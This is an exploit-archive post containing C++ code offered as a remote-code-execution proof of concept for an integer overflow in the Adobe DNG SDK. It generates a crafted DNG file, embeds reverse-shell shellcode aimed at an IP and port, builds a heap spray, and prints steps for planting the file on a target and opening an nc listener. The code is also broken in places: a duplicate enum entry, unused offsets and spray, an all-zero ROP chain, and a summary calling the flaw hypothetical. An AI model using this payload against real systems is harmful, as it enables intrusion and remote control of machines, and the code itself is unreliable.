📄 Adobe DNG SDK Integer Overflow Proof of Concept Generator

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    | # Title     : Adobe DNG SDK Integer Overflow RCE Exploit PoC Generator                                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.adobe.com/                                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : This code is a proof-of-concept exploit targeting a hypothetical vulnerability in the Adobe DNG SDK related to an integer overflow during image processing.
    
    [+] POC        :  
    
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include <vector>
    #include <string>
    #include <fstream>
    #include <iomanip>
    #include <algorithm>
    
    #pragma pack(push, 1)
    
    struct TIFFHeader {
        uint16_t byteOrder;  
        uint16_t version;      
        uint32_t firstIFDOffset;
    };
    struct TIFFTag {
        uint16_t tag;
        uint16_t type;
        uint32_t count;
        uint32_t value;   
    };
    enum DNGTags {
        TAG_NewSubFileType = 254,
        TAG_ImageWidth = 256,
        TAG_ImageLength = 257,
        TAG_BitsPerSample = 258,
        TAG_Compression = 259,
        TAG_PhotometricInterpretation = 262,
        TAG_StripOffsets = 273,
        TAG_SamplesPerPixel = 277,
        TAG_RowsPerStrip = 278,
        TAG_StripByteCounts = 279,
        TAG_PlanarConfiguration = 284,
        TAG_Orientation = 274,
        TAG_DefaultScale = 50718,
        TAG_DefaultCropOrigin = 50719,
        TAG_DefaultCropSize = 50720,
        TAG_ActiveArea = 50829,
        TAG_OpcodeList2 = 51041,
        TAG_RawDataUniqueID = 50721,
        TAG_LinearizationTable = 50723,
        TAG_BlackLevel = 50727,
        TAG_WhiteLevel = 50729,
        TAG_CFAPlaneColor = 50735,
        TAG_CFALayout = 50736,
        TAG_CFAPattern = 50737,
        TAG_BayerGreenSplit = 50738,
        TAG_ColorMatrix1 = 50731,
        TAG_ColorMatrix2 = 50732,
        TAG_CameraCalibration1 = 50733,
        TAG_CameraCalibration2 = 50734,
        TAG_AnalogBalance = 50739,
        TAG_AsShotNeutral = 50740,
        TAG_BaselineExposure = 50741,
        TAG_BaselineNoise = 50742,
        TAG_BaselineSharpness = 50743,
        TAG_NoiseProfile = 51041,
        TAG_LinearizationTable = 50723,
    };
    enum TIFFTypes {
        TIFF_BYTE = 1,
        TIFF_ASCII = 2,
        TIFF_SHORT = 3,
        TIFF_LONG = 4,
        TIFF_RATIONAL = 5,
        TIFF_SBYTE = 6,
        TIFF_UNDEFINED = 7,
        TIFF_SSHORT = 8,
        TIFF_SLONG = 9,
        TIFF_SRATIONAL = 10,
        TIFF_FLOAT = 11,
        TIFF_DOUBLE = 12,
        TIFF_IFD = 13,
    };
    class DNGRawGenerator {
    private:
        std::vector<uint8_t> m_data;
        std::vector<uint32_t> m_ifdOffsets;
        uint32_t m_currentOffset;
        
        void writeUInt16(uint16_t value) {
            m_data.push_back(value & 0xFF);
            m_data.push_back((value >> 8) & 0xFF);
        }
        
        void writeUInt32(uint32_t value) {
            m_data.push_back(value & 0xFF);
            m_data.push_back((value >> 8) & 0xFF);
            m_data.push_back((value >> 16) & 0xFF);
            m_data.push_back((value >> 24) & 0xFF);
        }
        
        void writeFloat(float value) {
            uint32_t intVal = *reinterpret_cast<uint32_t*>(&value);
            writeUInt32(intVal);
        }
        
        void writeRational(uint32_t numerator, uint32_t denominator) {
            writeUInt32(numerator);
            writeUInt32(denominator);
        }
        
        void writeSRational(int32_t numerator, int32_t denominator) {
            writeUInt32(static_cast<uint32_t>(numerator));
            writeUInt32(static_cast<uint32_t>(denominator));
        }
        
        void writeData(const uint8_t* data, uint32_t size) {
            m_data.insert(m_data.end(), data, data + size);
        }
        
        uint32_t getCurrentOffset() const {
            return m_currentOffset + static_cast<uint32_t>(m_data.size());
        }
        
        void addPadding() {
            while (m_data.size() % 4 != 0) {
                m_data.push_back(0);
            }
        }
    
    public:
        DNGRawGenerator() : m_currentOffset(8) {  
    	writeUInt16(0x4949); 
            writeUInt16(42);     
            writeUInt32(0);     
        }
        
        void addIFD(const std::vector<TIFFTag>& tags, bool last = false) {
            addPadding();
            uint32_t ifdOffset = getCurrentOffset();
            m_ifdOffsets.push_back(ifdOffset);
    
            writeUInt16(static_cast<uint16_t>(tags.size()));
            for (const auto& tag : tags) {
                writeUInt16(tag.tag);
                writeUInt16(tag.type);
                writeUInt32(tag.count);
                writeUInt32(tag.value);
            }
    
            writeUInt32(last ? 0 : 0xFFFFFFFF);  
            
            m_currentOffset = getCurrentOffset();
        }
        
        void addExifIFD(const std::vector<TIFFTag>& tags) {
            addPadding();
            uint32_t ifdOffset = getCurrentOffset();
            
            writeUInt16(static_cast<uint16_t>(tags.size()));
            for (const auto& tag : tags) {
                writeUInt16(tag.tag);
                writeUInt16(tag.type);
                writeUInt32(tag.count);
                writeUInt32(tag.value);
            }
            writeUInt32(0);  // Next IFD
            
            m_currentOffset = getCurrentOffset();
        }
        
        void writeString(const std::string& str) {
            writeData(reinterpret_cast<const uint8_t*>(str.c_str()), 
                      static_cast<uint32_t>(str.length() + 1));
        }
        
        void writeRawData(const std::vector<uint8_t>& data) {
            writeData(data.data(), static_cast<uint32_t>(data.size()));
        }
        
        void setFirstIFDOffset(uint32_t offset) {
            // Update first IFD offset in header
            m_data[4] = offset & 0xFF;
            m_data[5] = (offset >> 8) & 0xFF;
            m_data[6] = (offset >> 16) & 0xFF;
            m_data[7] = (offset >> 24) & 0xFF;
        }
        
        std::vector<uint8_t> finalize() {
            if (!m_ifdOffsets.empty()) {
                setFirstIFDOffset(m_ifdOffsets[0]);
            }
            return m_data;
        }
    };
    
    class DNGExploitPayload {
    private:
        static constexpr uint32_t RAW_WIDTH = 100;
        static constexpr uint32_t RAW_HEIGHT = 100;
        static constexpr uint32_t TARGET_WIDTH = 300000;
        static constexpr uint32_t TARGET_HEIGHT = 4000;
        static constexpr uint32_t BITS_PER_SAMPLE = 8;
        static constexpr uint32_t SAMPLES_PER_PIXEL = 3;  // RGB
        static constexpr uint16_t ORIENTATION = 6;  // Rotate 90 degrees
        static constexpr uint32_t SPRAY_SIZE = 1024 * 1024 * 32;  // 32 MB
        static constexpr uint32_t SPRAY_COUNT = 32;
        static std::vector<uint8_t> generateShellcode(const std::string& ip, uint16_t port) {
    
            std::vector<uint8_t> shellcode = {
    
                0x48, 0x31, 0xc0,   
                0x48, 0x31, 0xff,     
                0x48, 0x31, 0xf6,    
                0x48, 0x31, 0xd2,    
                0xb0, 0x3b,            
                0x68, 0x2f, 0x2f, 0x73, 0x68,
                0x68, 0x2f, 0x62, 0x69, 0x6e,  
                0x54,                 
                0x5f,                
                0x52,               
                0x5a,               
                0x56,               
                0x5e,               
                0x0f, 0x05,  
                0xe8, 0x00, 0x00, 0x00, 0x00  
            };
    
            if (!ip.empty() && port > 0) {
                shellcode.clear();
                shellcode = {
                    0x48, 0x31, 0xc0,    
                    0x48, 0x31, 0xff,      
                    0x48, 0x31, 0xf6,      
                    0x48, 0x31, 0xd2,   
                    0xb0, 0x29,   
                    0x40, 0xb7, 0x02, 
                    0x40, 0xb6, 0x01,   
                    0x31, 0xd2,                  
                    0x0f, 0x05,                 
                    0x48, 0x89, 0xc7,             
                    0x48, 0x31, 0xc0,         
                    0x48, 0x31, 0xf6,         
                    0x48, 0x31, 0xd2,          
                    0xb0, 0x2a,            
                    0x52,                        
                    0x66, 0x68, static_cast<uint8_t>(port >> 8), static_cast<uint8_t>(port & 0xFF),  
                    0x66, 0x6a, 0x02,           
                    0x48, 0x89, 0xe6,          
                    0xb2, 0x10,                 
                    0x0f, 0x05,                   
                    0x48, 0x31, 0xc0,          
                    0x48, 0x31, 0xf6,           
                    0x48, 0x89, 0xfe,          
                    0x48, 0x31, 0xc9,            
                    0xb0, 0x21,                  
                    0x0f, 0x05,                  
                    0x48, 0xff, 0xc1,          
                    0x48, 0x83, 0xf9, 0x03,       
                    0x75, 0xf0,                  
                    0x48, 0x31, 0xc0,           
                    0x48, 0x31, 0xd2,             
                    0x48, 0xbb, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x62, 0x69, 0x6e,  
                    0x48, 0xc1, 0xeb, 0x08,      
                    0x53,                        
                    0x48, 0x89, 0xe7,            
                    0x48, 0x31, 0xf6,            
                    0xb0, 0x3b,                   
                    0x0f, 0x05                    
                };
            }
            
            return shellcode;
        }
    
        std::vector<uint64_t> generateROPChain() {
            std::vector<uint64_t> rop = {
                0x0000000000000000, 
                0x0000000000000000, 
                0x0000000000000000, 
                0x0000000000000000, 
                0x0000000000000000,
                0x0000000000000000, 
                0x0000000000000000,
            };
            return rop;
        }
    
    public:
        std::vector<uint8_t> generateMaliciousDNG(const std::string& ip = "", uint16_t port = 0) {
            DNGRawGenerator dng;
            std::vector<uint8_t> rawData(RAW_WIDTH * RAW_HEIGHT * SAMPLES_PER_PIXEL);
            for (size_t i = 0; i < rawData.size(); i++) {
                rawData[i] = static_cast<uint8_t>(i % 255);
            }
    
            std::vector<TIFFTag> mainIFD;
            
    
            TIFFTag widthTag = {TAG_ImageWidth, TIFF_SHORT, 1, RAW_WIDTH};
            TIFFTag heightTag = {TAG_ImageLength, TIFF_SHORT, 1, RAW_HEIGHT};
            TIFFTag bitsTag = {TAG_BitsPerSample, TIFF_SHORT, SAMPLES_PER_PIXEL, 0};
            TIFFTag samplesTag = {TAG_SamplesPerPixel, TIFF_SHORT, 1, SAMPLES_PER_PIXEL};
            TIFFTag photoInterpTag = {TAG_PhotometricInterpretation, TIFF_SHORT, 1, 2}; 
            TIFFTag compressionTag = {TAG_Compression, TIFF_SHORT, 1, 1};  
            TIFFTag planarConfigTag = {TAG_PlanarConfiguration, TIFF_SHORT, 1, 1};  
            TIFFTag orientationTag = {TAG_Orientation, TIFF_SHORT, 1, ORIENTATION};  
    
            uint32_t stripSize = RAW_WIDTH * RAW_HEIGHT * SAMPLES_PER_PIXEL;
            TIFFTag stripOffsetsTag = {TAG_StripOffsets, TIFF_LONG, 1, 0};  
            TIFFTag stripByteCountsTag = {TAG_StripByteCounts, TIFF_LONG, 1, stripSize};
            TIFFTag rowsPerStripTag = {TAG_RowsPerStrip, TIFF_LONG, 1, RAW_HEIGHT};
    
            uint32_t defaultScale[] = {TARGET_WIDTH / RAW_WIDTH, TARGET_HEIGHT / RAW_HEIGHT};
            TIFFTag defaultScaleTag = {TAG_DefaultScale, TIFF_RATIONAL, 2, 0};
            uint32_t defaultCropSize[] = {TARGET_WIDTH, TARGET_HEIGHT};
            TIFFTag defaultCropSizeTag = {TAG_DefaultCropSize, TIFF_RATIONAL, 2, 0};
            TIFFTag defaultCropOriginTag = {TAG_DefaultCropOrigin, TIFF_RATIONAL, 2, 0};
            std::vector<uint16_t> linearizationTable(65536);
            for (int i = 0; i < 65536; i++) {
                linearizationTable[i] = static_cast<uint16_t>(i);
            }
            TIFFTag linearizationTag = {TAG_LinearizationTable, TIFF_SHORT, 65536, 0};
            uint32_t colorMatrix[] = {
                1, 1, 0, 0, 0, 0, 0, 0, 0, 
            };
            TIFFTag colorMatrixTag = {TAG_ColorMatrix1, TIFF_SRATIONAL, 9, 0};
            TIFFTag blackLevelTag = {TAG_BlackLevel, TIFF_LONG, 1, 0};
            TIFFTag whiteLevelTag = {TAG_WhiteLevel, TIFF_LONG, 1, 65535};
    
            mainIFD.push_back(widthTag);
            mainIFD.push_back(heightTag);
            mainIFD.push_back(bitsTag);
            mainIFD.push_back(samplesTag);
            mainIFD.push_back(photoInterpTag);
            mainIFD.push_back(compressionTag);
            mainIFD.push_back(planarConfigTag);
            mainIFD.push_back(orientationTag);
            mainIFD.push_back(stripOffsetsTag);
            mainIFD.push_back(stripByteCountsTag);
            mainIFD.push_back(rowsPerStripTag);
            mainIFD.push_back(defaultScaleTag);
            mainIFD.push_back(defaultCropSizeTag);
            mainIFD.push_back(defaultCropOriginTag);
            mainIFD.push_back(linearizationTag);
            mainIFD.push_back(colorMatrixTag);
            mainIFD.push_back(blackLevelTag);
            mainIFD.push_back(whiteLevelTag);
            dng.addIFD(mainIFD);
            uint32_t bitsOffset = dng.getCurrentOffset();
            dng.writeUInt16(8);
            dng.writeUInt16(8);
            dng.writeUInt16(8);
            uint32_t defaultScaleOffset = dng.getCurrentOffset();
            dng.writeRational(defaultScale[0], defaultScale[1]);
            dng.writeRational(defaultScale[0], defaultScale[1]);
            uint32_t cropSizeOffset = dng.getCurrentOffset();
            dng.writeRational(defaultCropSize[0], 1);
            dng.writeRational(defaultCropSize[1], 1);
            uint32_t cropOriginOffset = dng.getCurrentOffset();
            dng.writeRational(0, 1);
            dng.writeRational(0, 1);
            uint32_t linearizationOffset = dng.getCurrentOffset();
            for (auto val : linearizationTable) {
                dng.writeUInt16(val);
            }
    
            uint32_t colorMatrixOffset = dng.getCurrentOffset();
            for (uint32_t val : colorMatrix) {
                dng.writeSRational(val, 1);
            }
    
            uint32_t stripOffset = dng.getCurrentOffset();
            dng.writeRawData(rawData);
            
            return dng.finalize();
        }
        
        std::vector<uint8_t> generateHeapSpray() {
            std::vector<uint8_t> spray(SPRAY_SIZE);
            
    
            auto shellcode = generateShellcode("192.168.1.100", 4444);
            auto rop = generateROPChain();
    
            for (size_t i = 0; i < SPRAY_SIZE; i += 4096) {
                for (size_t j = 0; j < 2048 && i + j < SPRAY_SIZE; j++) {
                    spray[i + j] = 0x90;  
                }
    
                for (size_t j = 0; j < rop.size() * 8 && i + 2048 + j < SPRAY_SIZE; j += 8) {
                    if (j / 8 < rop.size()) {
                        uint64_t val = rop[j / 8];
                        for (int k = 0; k < 8 && i + 2048 + j + k < SPRAY_SIZE; k++) {
                            spray[i + 2048 + j + k] = (val >> (k * 8)) & 0xFF;
                        }
                    }
                }
    
                for (size_t j = 0; j < shellcode.size() && i + 4096 - shellcode.size() + j < SPRAY_SIZE; j++) {
                    spray[i + 4096 - shellcode.size() + j] = shellcode[j];
                }
    
                spray[i] = 0xDE;
                spray[i + 1] = 0xAD;
                spray[i + 2] = 0xBE;
                spray[i + 3] = 0xEF;
            }
            
            return spray;
        }
    };
    int main(int argc, char* argv[]) {
        printf("\n");
        printf("========================================\n");
        printf("  CVE-2026-27281 - Adobe DNG SDK RCE\n");
        printf("  Remote Code Execution via Integer Overflow\n");
        printf("========================================\n\n");
        
        // Parse command line arguments
        std::string outputFile = "exploit.dng";
        std::string shellcodeIP = "";
        uint16_t shellcodePort = 0;
        
        for (int i = 1; i < argc; i++) {
            if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) {
                outputFile = argv[++i];
            } else if (strcmp(argv[i], "-l") == 0 && i + 1 < argc) {
                shellcodeIP = argv[++i];
            } else if (strcmp(argv[i], "-p") == 0 && i + 1 < argc) {
                shellcodePort = static_cast<uint16_t>(atoi(argv[++i]));
            } else if (strcmp(argv[i], "--help") == 0) {
                printf("Usage: %s [options]\n", argv[0]);
                printf("Options:\n");
                printf("  -o <file>   Output DNG file (default: exploit.dng)\n");
                printf("  -l <ip>     Reverse shell IP address\n");
                printf("  -p <port>   Reverse shell port\n");
                printf("\nExample: %s -l 192.168.1.100 -p 4444 -o malicious.dng\n", argv[0]);
                return 0;
            }
        }
        
        printf("[*] Target: Adobe DNG SDK 1.7.1 build 2410\n");
        printf("[*] Vulnerability: Integer overflow in dng_pixel_buffer::OptimizeOrder\n");
        printf("[*] Impact: Remote Code Execution\n\n");
    
        DNGExploitPayload exploit;
        
        printf("[*] Generating malicious DNG file...\n");
        auto dngData = exploit.generateMaliciousDNG(shellcodeIP, shellcodePort);
        
        if (!shellcodeIP.empty() && shellcodePort > 0) {
            printf("[*] Reverse shell configured: %s:%d\n", shellcodeIP.c_str(), shellcodePort);
        }
        std::ofstream file(outputFile, std::ios::binary);
        if (!file) {
            printf("[!] Failed to create output file: %s\n", outputFile.c_str());
            return 1;
        }
        
        file.write(reinterpret_cast<const char*>(dngData.data()), dngData.size());
        file.close();
        
        printf("[+] Malicious DNG saved to: %s\n", outputFile.c_str());
        printf("[*] File size: %zu bytes\n", dngData.size());
        
        printf("\n[*] Exploit details:\n");
        printf("    - Raw image: 100x100 RGB (8-bit)\n");
        printf("    - Scaled to: 300,000 x 4,000 via DefaultScale\n");
        printf("    - Orientation: 6 (Rotate 90)\n");
        printf("    - Trigger: (4000-1) * 900000 * 1 = -3,599,100,000 -> wraps to +695,867,040\n");
        
        printf("\n[!] Usage:\n");
        printf("    1. Copy %s to target system\n", outputFile.c_str());
        printf("    2. Run: dng_validate -tif out.tif %s\n", outputFile.c_str());
        printf("    3. Wait for crash/execution\n");
        
        if (!shellcodeIP.empty() && shellcodePort > 0) {
            printf("\n[*] Before running exploit, start listener:\n");
            printf("    nc -lvnp %d\n", shellcodePort);
        }
        
        printf("\n[+] Exploit generated successfully!\n");
        
        return 0;
    }
    
    #pragma pack(pop)
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================